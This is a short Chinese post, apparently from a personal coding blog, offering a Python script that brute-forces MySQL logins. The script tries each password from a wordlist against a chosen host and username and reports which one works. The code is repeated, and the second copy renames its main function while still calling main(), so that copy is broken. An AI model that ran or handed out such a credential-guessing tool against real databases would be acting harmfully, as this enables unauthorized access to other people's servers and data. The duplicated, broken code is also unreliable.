mysql爆破python脚本

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@Project :python-learn 
@File    :mysql爆破.py
@Author  :星之尘
@Date    :2023/6/14 19:08 
@脚本说明:
"""
import pymysql

def mysql_brute_force(hostname, username, password):
    try:
        conn = pymysql.connect(host=hostname, user=username, password=password)
        conn.close()
        print(f"成功登录 - 主机名:{hostname},用户名:{username},密码:{password}")
    except pymysql.err.OperationalError as e:
        print(f"登录失败 - 主机名:{hostname},用户名:{username},密码:{password}")
    except pymysql.err.InternalError as e:
        print(f"MySQL错误:{str(e)}")

def main():
    hostname = input("请输入MySQL主机名或IP地址:")
    username = input("请输入用户名:")
    password_file = input("请输入密码文件的路径:")

    with open(password_file, 'r') as file:
        for password in file:
            password = password.strip()
            mysql_brute_force(hostname, username, password)

if __name__ == "__main__":
    main()
import pymysql

def mysql_brute_force(hostname, username, password):
    try:
        conn = pymysql.connect(host=hostname, user=username, password=password)
        conn.close()
        print(f"成功登录 - 主机名:{hostname},用户名:{username},密码:{password}")
    except pymysql.err.OperationalError as e:
        print(f"登录失败 - 主机名:{hostname},用户名:{username},密码:{password}")
    except pymysql.err.InternalError as e:
        print(f"MySQL错误:{str(e)}")

def mysql_blow_up_main():
    hostname = input("请输入MySQL主机名或IP地址:")
    username = input("请输入用户名:")
    password_file = input("请输入密码文件的路径:")

    with open(password_file, 'r') as file:
        for password in file:
            password = password.strip()
            mysql_brute_force(hostname, username, password)

if __name__ == "__main__":
    main()

你可能感兴趣的:(python脚本,mysql,python)